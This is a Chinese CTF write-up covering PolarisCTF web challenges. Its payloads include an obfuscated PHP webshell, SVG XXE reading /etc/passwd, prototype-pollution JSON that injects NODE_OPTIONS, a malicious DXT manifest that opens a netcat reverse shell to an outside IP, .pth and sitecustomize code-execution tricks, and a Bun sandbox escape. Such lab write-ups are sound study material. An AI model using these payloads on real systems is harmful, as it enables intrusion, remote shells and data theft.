PolarisCTF

当时做的时候大部分题都是用ai做的，没学到什么东西，但是题目质量还是很高的，看到平台上有复现环境了，决定不用agent自己做一遍

only real

考点：jwt伪造

非预期

直接看/flag.php就行

revenge

jwt爆破密钥伪造admin之后就可以上传图片，后端对文件类型没有校验，直接抓包修改文件后缀名，文件内容有WAF，我们使用ascii🐎

<?=
$func=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$cmd='';
$cmd_chars=[99, 97, 116, 32, 47, 102, 108, 97, 103];
foreach($cmd_chars as $ascii){
    $cmd.=chr($ascii);
}
@$func($cmd);

头像上传器

考点：SVG XXE，CVE-2024-2961

一个上传头像的页面，白名单的后缀校验，并且文件重命名，不好绕过

头像的位置有渲染但不是文件包含，支持的格式有svg，尝试一下svg xxe

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

成功读到文件了，但是要实现RCE执行/readflag，这里需要打CVE-2024-2961

事实上，CVE-2024-2961 的 sink 点不在于文件包含，而在于 php 伪协议。基本原理是利用 php 伪协议调用 iconv 函数，通过字符集 ISO-2022-CN-EXT 的特性将三字节字符解码为四字节，从而造成缓冲区的溢出。

如果能够配合可读取的文件，就能获取到 PHP 堆地址和 libc，然后得到 system 函数的地址打 rce

这里还是老方法，读map，libc然后用脚本生成链子，但是svg上传之后解析会报错

php://filter 是作为外部实体的 SYSTEM 标识符传入 DOMDocument::load()，因此它首先要经过 libxml 的 URI 解析，而不是直接进入 PHP 用户态流处理。| 在这种 URI 语境下不属于稳定、规范的路径分隔字符，容易在外部实体解析阶段被拒绝、归一化或导致后续路径解释异常，从而使整条 filter chain 无法原样传递给底层 stream wrapper。因此需要改用 /，让 payload 同时满足 URI 语法和 php://filter 的路径式解析规则。

好吧，我们改一下格式，并且不url编码

/readflag > /var/www/html/uploads/1.txt

这个题最终未解决的点就是用kezibei师傅的脚本最终只能在uploads目录下写文件，并且没法直接访问，必须curl才能出结果

但是网上改的cnext脚本是可以实现任意写文件的

ez_python

考点：python原型链污染

from flask import Flask, request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class Config:
    def __init__(self):
        self.filename = "app.py"

class Polaris:
    def __init__(self):
        self.config = Config()

instance = Polaris()

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "Welcome to Polaris CTF"

@app.route('/read')
def read():
    return open(instance.config.filename).read()

@app.route('/src')
def src():
    return open(__file__).read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

非常简单的一个python原型链污染，可以污染filename也可以污染全局变量

{"config":{"filename":"/flag"}}

{"__init__":{"__globals__":{"__file__":"/flag"}}}

Broken Trust

考点：SQL注入

查看源代码，发现一个查询uid的api接口，测试一下sql注入，admin的uid就出来了

admin可以备份文件，通过路径穿越读flag

ezpollute

考点：nodejs原型链污染，nodejs命令行选项

const express = require('express');
const { spawn } = require('child_process');
const path = require('path');

const app = express();
app.use(express.json());
app.use(express.static(__dirname));

function merge(target, source, res) {
    for (let key in source) {
        if (key === '__proto__') { //试图防止原型链污染
            if (res) {
                res.send('get out!');
                return;
            }
            continue;
        } 
        
        if (source[key] instanceof Object && key in target) {
            merge(target[key], source[key], res);
        } else {
            target[key] = source[key];
        }
    }
}

let config = {
    name: "CTF-Guest",
    theme: "default"
};

app.post('/api/config', (req, res) => { //配置修改接口
    let userConfig = req.body;

    const forbidden = ['shell', 'env', 'exports', 'main', 'module', 'request', 'init', 'handle','environ','argv0','cmdline']; //过滤关键字
    const bodyStr = JSON.stringify(userConfig).toLowerCase();
    for (let word of forbidden) {
        if (bodyStr.includes(`"${word}"`)) {
            return res.status(403).json({ error: `Forbidden keyword detected: ${word}` });
        }
    }

    try {
        merge(config, userConfig, res); 
        res.json({ status: "success", msg: "Configuration updated successfully." });
    } catch (e) {
        res.status(500).json({ status: "error", message: "Internal Server Error" });
    }
});

app.get('/api/status', (req, res) => { //系统状态接口

    const customEnv = Object.create(null);
    for (let key in process.env) {//process 是 Node.js 的一个全局对象,而 env 是它上面的一个属性，包含了当前操作系统环境的所有变量
        if (key === 'NODE_OPTIONS') {
            const value = process.env[key] || "";

            const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

            if (!dangerousPattern.test(value)) {
                customEnv[key] = value;
            }
            continue;
        }
        customEnv[key] = process.env[key];
    }
    
    const proc = spawn('node', ['-e', 'console.log("System Check: Node.js is running.")'], { //简单来说，spawn 的作用是在你的主程序之外，启动一个新的命令行进程来执行任务。
        env: customEnv,
        shell: false  //不使用系统shell
    });
    
    let output = '';
    proc.stdout.on('data', (data) => { output += data; });
    proc.stderr.on('data', (data) => { output += data; });
    
    proc.on('close', (code) => {
        res.json({ 
            status: "checked", 
            info: output.trim() || "No output from system check."
        });
    });
});

app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'index.html'));
});

// Flag 位于 /flag
app.listen(3000, '0.0.0.0', () => {
    console.log('Server running on port 3000');
});

也就是说一个接口可以进行原型链污染，一个接口可以加载命令行进程

虽然禁用了__proto__但是target["constructor"]["prototype"] 同样可以访问到 Object 的原型

那么最终的命令执行要落在spawn上，应该如何污染？

补充：NODE_OPTIONS和nodejs命令行选项

NODE_OPTIONS 是一个极其强大的环境变量，它允许你将 Node.js 的命令行参数预设在环境里。这意味着，无论你是通过 node app.js 还是通过 npm start 启动程序，这些参数都会自动生效。

在安全领域（如 CTF），它是实现 RCE（远程代码执行） 的最常用跳板。

Node.js 命令行选项：全称与缩写对照表

全称	缩写	作用说明	CTF 利用场景
--require	-r	启动前强制预加载模块。	最高频。用于加载恶意脚本或 /proc/self/environ。
--eval	-e	运行字符串代码。	直接执行 JS 命令，不加载脚本文件。
--print	-p	运行代码并打印结果（相当于 -e + console.log）。	快速回显执行结果。
--version	-v	查看版本。	探测环境信息。
--interactive	-i	进入交互式 REPL 模式。	维持一个可交互的 Shell。
--check	-c	语法检查但不执行。	较少用于攻击，常用于调试。

那么利用链就清楚了，我们需要污染NODE_OPTIONS，用-r预加载flag

{"constructor":{"prototype":{"NODE_OPTIONS":"-r /flag"}}}

DXT

考点：恶意DXT

dxt是个什么文件？

Desktop Extensions (DXT，桌面扩展) 是一种用于打包和分发本地MCP (Model Context Protocol) 服务器的标准化格式。它类似于Chrome扩展(.crx)或VS Code扩展(.vsix)，允许用户通过单次点击安装本地MCP服务器。

本质上和zip差不多，实际操作可以打包一个zip然后直接改后缀名为dxt

结合 MCP 协议特点，后端逻辑是：接收 .dxt（实为 ZIP 包） -> 解压读取 manifest.json -> 根据配置拉起服务进程。
由于后端未对 manifest.json 中的启动命令（mcp_config）做严格的过滤校验，直接将其投入系统进程执行，导致存在任意命令执行 (RCE) 漏洞。无前端回显，需通过外带 (OOB) 获取 flag。

下面我们写一个恶意manifest.json

{
    "manifest_version": "0.3",
    "dxt_version": "1.0",
    "name": "exp",
    "display_name": "exp",
    "version": "1.0.0",
    "description": "pwn",
    "author": {
        "name": "a",
        "email": "a@a.com"
    },
    "server": {
        "type": "binary",
        "entry_point": "server/dummy",
        "mcp_config": {
            "command": "sh",
            "args": [
                "-c",
                "nc 183.66.27.22:18546 -e /bin/sh"
            ]
        }
    },
    "tools": []
}

压缩zip之后改后缀名上传

AutoPypy

考点：python沙箱逃逸

一共两个功能，上传代码和运行代码，我们先来看主程序server.py

import os
import sys
import subprocess
from flask import Flask, request, render_template, jsonify

app = Flask(__name__)

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')

if not os.path.exists(UPLOAD_FOLDER):
    os.makedirs(UPLOAD_FOLDER)


@app.route('/')
def index():
    return render_template("index.html")

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return 'No file part', 400
    
    file = request.files['file']
    filename = request.form.get('filename') or file.filename #存在目录穿越漏洞
    
    save_path = os.path.join(UPLOAD_FOLDER, filename)
    
    save_dir = os.path.dirname(save_path)
    if not os.path.exists(save_dir):
        try:
            os.makedirs(save_dir)
        except OSError:
            pass

    try:
        file.save(save_path)
        return f'成功上传至: {save_path}'
    except Exception as e:
        return f'上传失败: {str(e)}', 500

@app.route('/run', methods=['POST'])
def run_code():
    data = request.get_json()
    filename = data.get('filename')

    target_file = os.path.join('/app/uploads', filename) #执行的源码

    launcher_path = os.path.join(BASE_DIR, 'launcher.py') #沙箱

    try:
        proc = subprocess.run(
            [sys.executable, launcher_path, target_file],
            capture_output=True,
            text=True,
            timeout=5,
            cwd=BASE_DIR 
        )
        return jsonify({"output": proc.stdout + proc.stderr})
    except subprocess.TimeoutExpired:
        return jsonify({"output": "Timeout"})

if __name__ == '__main__':
    import site
    print(f"[*] Server started.")
    print(f"[*] Upload Folder: {UPLOAD_FOLDER}")
    print(f"[*] Target site-packages (Try to reach here): {site.getsitepackages()[0]}") #提示！！！
    app.run(host='0.0.0.0', port=5000)

我们再来看沙箱launcher.py

import subprocess
import sys

def run_sandbox(script_name):
    print("Launching sandbox...")
    cmd = [
        'proot',
        '-r', './jail_root', #设置沙箱根目录
        '-b', '/bin',
        '-b', '/usr',
        '-b', '/lib',
        '-b', '/lib64',
        '-b', '/etc/alternatives',
        '-b', '/dev/null',
        '-b', '/dev/zero',
        '-b', '/dev/urandom',
        '-b', f'{script_name}:/app/run.py',
        '-w', '/app',
        'python3', 'run.py'
    ]
    subprocess.call(cmd)
    print("ok")

if __name__ == "__main__":
    script = sys.argv[1]
    run_sandbox(script)

也就是说这里的沙箱并没有禁用什么函数，但是隔离出了一个小黑屋，在里面执行代码访问不到外面的文件

非预期：直接读

执行源码的地方也有目录穿越漏洞，我们直接尝试执行../../flag或者/flag

预期解：在site-packages下写.pth

site-packages 是 Python 中用于存放第三方模块和库的标准目录。Python 在初始化阶段，会扫描 site-packages 目录下的所有 .pth 文件。如果 .pth 文件中包含以 import 开头的行，Python 会在启动过程中执行该行代码。这是一个隐蔽的 RCE（远程代码执行）点。

系统通过 launcher.py 调用 proot 来运行 Python 脚本。虽然 proot 限制了 /app/run.py 的执行环境，但 launcher.py 本身是在宿主机环境运行的。 server.py 调用方式如下：

proc = subprocess.run(
            [sys.executable, launcher_path, target_file],
            capture_output=True,
            text=True,
            timeout=5,
            cwd=BASE_DIR 
        )

这意味着 sys.executable（宿主机的 Python 解释器）在启动时会加载宿主机的环境配置。

利用 /upload 接口，将恶意代码写入该目录下的一个 .pth 文件中../../../../../usr/local/lib/python3.10/site-packages/suny.pth

import os; print(os.popen('cat /flag').read());

这样随便执行一段代码就把flag带出来了

预期解： sitecustomize 自动加载机制

上传的 py 文件可以任意写，我们利用 sitecustomize 的自动加载机制运行代码

py 文件写成这样上传

import os,sys,subprocess
print(subprocess.getoutput('cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null || cat /app/flag 2>/dev/null || cat /app/flag.txt 2>/dev/null')) # 尝试用shell读取各种路径的flag
sys.stdout.flush();os._exit(0)

这里命名用 /usr/local/lib/python3.10/site-packages/sitecustomize.py

服务器启动时会 import site，顺便 import 这个包，代码就会在沙箱启动前执行

Not a node

以前没接触过这种js沙箱，我们完整走一遍流程

题目说是一个安全的js沙箱

我们来了解一下BunEdge

那么示例代码的语法就解释的通了，这是一种特殊的js语法规范，我们来写个helloword试试

export default {
  async fetch(request) {
    // 直接返回纯文本的 Hello World
    return new Response("Hello World", {
      headers: { "Content-Type": "text/plain" }
    });
  }
}

下面我们尝试直接用Bun内置的Bun.file() API读flag

export default {
  async fetch(request) {
    // 直接读取当前目录下的 flag 文件（假设文件名叫 flag）
    const flagFile = Bun.file('./flag');
    
    // 将文件内容作为响应直接返回
    return new Response(flagFile, {
      headers: { "Content-Type": "text/plain" }
    });
  }
}

部署失败，Bun.file被禁用了。好吧，确实很氨醛

我们去看看右侧的提示，在工具函数里面有一个__runtime，我们去了解一下

我们看看__runtime下面有什么可用的属性

export default {
    async fetch(req) {
        let runtime = (0, eval)("this").__runtime;

        // 列出所有自身属性（包括 _internal / _secrets / _debug）
        let allKeys = Object.getOwnPropertyNames(runtime);

        return new Response(JSON.stringify(allKeys));
    }
};

//["hash","strlen","platform","perf","encoding","_debug","_secrets","_internal"]

可以发现runtime中"_debug" "_secrets" "_internal"这三个比较可疑，分别列出其中可用函数

export default {
    async fetch(req) {
        let s = __runtime._secrets;

        // 看 _secrets 下有哪些函数/属性
        let keys = Object.getOwnPropertyNames(s);

        return new Response(JSON.stringify(keys));
    }
};

/******
_debug : ["enabled","trace","dump","inspect"]
_secrets : ["get","list"]
_internal : ["debug","lib"] ******/

接着向下探测，发现lib下面有个symbols

export default {
    async fetch(req) {
        let s = __runtime._internal.lib.symbols;
        let keys = Object.getOwnPropertyNames(s);
        return new Response(JSON.stringify(keys));
    }
};
//回显
//["_0x72656164","_0x6c697374"]

0x72656164就是read啊，我们尝试用它读文件

export default {
  async fetch(request) {
    let flag = __runtime._internal.lib.symbols._0x72656164('/flag');
    return new Response(JSON.stringify(flag));    
  }
}

//回显
//"ERROR: The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received \"/app/\\u0000\\u0000\\u0000\\u0000\\u0000\""

这里提示我们系统在处理路径会自己加上/app/，参数可以是string、Uint8Array或URL，我们试试用Uint8Array

export default {
  async fetch(request) {
  	let encoder = new TextEncoder();
	let path = encoder.encode("/flag");
    let flag = __runtime._internal.lib.symbols._0x72656164(path);
    return new Response(JSON.stringify(flag));    
  }
}

//回显
//xmctf{......}

醉里挑灯看剑

真不会typescript，等学了再来看这个题吧